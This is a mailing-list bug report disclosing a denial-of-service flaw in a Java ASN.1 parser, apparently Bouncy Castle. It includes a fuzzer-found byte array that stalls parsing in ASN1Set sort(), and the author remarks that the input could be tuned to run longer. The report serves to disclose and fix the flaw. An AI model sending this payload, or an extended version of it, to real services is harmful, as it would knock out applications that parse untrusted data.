ASN1 parsing denial-of-service

Dear list,

The following code takes about 2-3 seconds to process.

            byte[] data = {
                (byte)0xff, (byte)0xbf, (byte)0x30, (byte)0x80,
                (byte)0x28, (byte)0x80, (byte)0xa2, (byte)0x80,
                (byte)0x31, (byte)0x80, (byte)0xa4, (byte)0x00,
                (byte)0x31, (byte)0x80, (byte)0xac, (byte)0x00,
                (byte)0x31, (byte)0x80, (byte)0xb3, (byte)0x00,
                (byte)0xb3, (byte)0x00, (byte)0x31, (byte)0x80,
                (byte)0x8f, (byte)0x00, (byte)0xb3, (byte)0x00,
                (byte)0x31, (byte)0x80, (byte)0xaf, (byte)0x00,
                (byte)0x31, (byte)0x80, (byte)0x82, (byte)0x01,
                (byte)0x80, (byte)0xac, (byte)0x00, (byte)0x31,
                (byte)0x80, (byte)0xb3, (byte)0x00, (byte)0xb3,
                (byte)0x00, (byte)0xc6, (byte)0x00, (byte)0x31,
                (byte)0x80, (byte)0xaf, (byte)0x00, (byte)0x31,
                (byte)0x80, (byte)0x82, (byte)0x01, (byte)0x2b,
                (byte)0x82, (byte)0x02, (byte)0xf3, (byte)0x28,
                (byte)0xb5, (byte)0x00, (byte)0x31, (byte)0x80,
                (byte)0xaf, (byte)0x00, (byte)0x9a, (byte)0x01,
                (byte)0x00, (byte)0x93, (byte)0x00, (byte)0x00,
                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0xcb,
                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00
            };
            ASN1InputStream asn1 = new ASN1InputStream(data);
            ASN1Primitive result = asn1.readObject();

A lot of cycles are spent in ASN1Set sort(). This payload can possibly
be modified to reach an execution duration of much more than 2
seconds. This could be viewed as a security problem in any application
that consumes and processes untrusted ASN1 data.

This was found with my Java fuzzer [1].

Guido

[1] https://github.com/guidovranken/libfuzzer-java